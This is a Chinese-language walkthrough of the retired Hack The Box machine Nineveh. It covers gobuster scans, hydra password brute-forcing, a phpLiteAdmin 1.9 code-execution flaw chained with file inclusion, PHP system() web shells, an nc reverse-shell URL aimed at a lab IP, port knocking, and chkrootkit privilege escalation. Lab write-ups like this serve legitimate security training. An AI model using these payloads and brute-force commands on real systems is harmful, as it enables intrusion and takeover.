1. 程式人生 > 實用技巧 >HTB-靶機-Nineveh

HTB-靶機-Nineveh

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.43

本次使用https://github.com/Tib3rius/AutoRecon 進行自動化全方位掃描

執行命令

autorecon 10.10.10.43 -o ./nineveh-autorecon

最終的掃描結果

gobuster dir -u http://10.10.10.43/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o bmfx-nineveh.gobusters -t 100

gobuster dir -u https://nineveh.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o bmfxhttps-nineveh.gobusters -k -t 100

根據上面掃出來的目錄,都訪問看看,得到如下

順手看你了下網頁原始碼

得知使用者名稱可能就是admin,密碼就爆破下

hydra 10.10.10.43 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!
"

使用hydra進行爆破,得出密碼

登入進去之後點選了每個功能點看到一個可疑的請求

猜測可能存在LFI,這裡剛開始測試有點問題,最後才知道程式碼裡面寫了需要關鍵字才可執行

有檔案包含就得有其他途徑配合,上面掃描的結果中80埠已經探測的差不多了,看看443埠,有兩個地址,一個是db另一個是secure_notes ,先訪問db看看

是個phpLiteAdmin 1.9搜尋下有沒有漏洞可以利用

還真有,目標就寫的1.9版本,拿八九不離十就可以利用看看,先用那個方便的遠端程式碼執行漏洞

大概意思就是新建一個字尾為php的資料庫然後裡面新建一個欄位帶上php小馬就可以了,但目前的問題是需要認證,沒有登入密碼,需要先破解密碼,我這裡還是使用hydra進行破解

hydra 10.10.10.43 -l user -P /usr/share/seclists/Passwords/Leaked-Databases/phpbb.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password"

這裡需要注意一下,因為破解的目標不需要輸入使用者名稱,所以這裡使用hydra進行破解可以隨便指定一個使用者就可以,密碼是需要指定靠譜的字典進行爆破

得到密碼登入上去,按照上面提到的exploit方式進行操作

這裡需要注意的是,利用本靶機的LFI需要帶關鍵字ninevehNotes,否則不能正常執行,我這就搞了有點時間,後來導致這類原因是我成功拿到目標許可權檢視程式碼得知,這裡也看經驗,有經驗的話可能一下就猜出來是這樣,沒有的話,就看前面的資訊蒐集,蒐集好的話有提示也能搞出來,所以php的程式碼執行時下面的一種都可以,當然其他形式只要能執行都可以

<?php echo system($_GET["bmfx"]); ?>
<?php echo system($_REQUEST["bmfx"]); ?>

成功之後就是這樣

到這裡沒啥問題就可以直接反彈shell了

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&bmfx=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.5+8833+>/tmp/f

反彈的命令:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.5+8833+>/tmp/f

訪問上面的連線即可成功反彈shell

到使用者的家目錄翻看user.txt發現沒有許可權,看來是要橫向提權到普通使用者amrois ,這裡卡了一會,回頭看上面收集的資訊,發現還有掃描出來的目錄沒看呢,訪問看看

複製上面圖片地址,使用wget下載下來看看

圖片的話要看看地理位置資訊,要看看隱寫資訊,要麼就看看關鍵字元,這裡使用strings檢視下

發現使用者amrois的私鑰,直接拿到本地來連線登入,連線不上, 想起來掃描的時候22埠沒開,然後在反彈的shell中執行網路連線命令,確認埠22是開放的,但是外面訪問不了,此時如果有經驗的話就知道使用了knock服務,需要敲擊埠開放22埠

根據上面得到的敲擊資訊,直接敲一把

22埠開了,迅速使用金鑰登入目標

成功拿到user.txt ,使用pspy列舉下當前執行的程序相關資訊,下載地址:https://github.com/DominicBreuker/pspy/blob/master/README.md ,得出來目標靶機運行了chkrootkit

chkrootkit有一個本地提權漏洞,https://www.exploit-db.com/exploits/38775 不管是啥版本,先利用一把試試 ,看了提權程式碼,最終是要做的就是此程式會以root身份週期性執行/tmp/update的檔案,所以我們只需要新建tmp目錄下的update檔案,裡面寫入反彈shell程式碼即可

這裡使用哪個使用者都可以成功,我這測試就是www-data使用者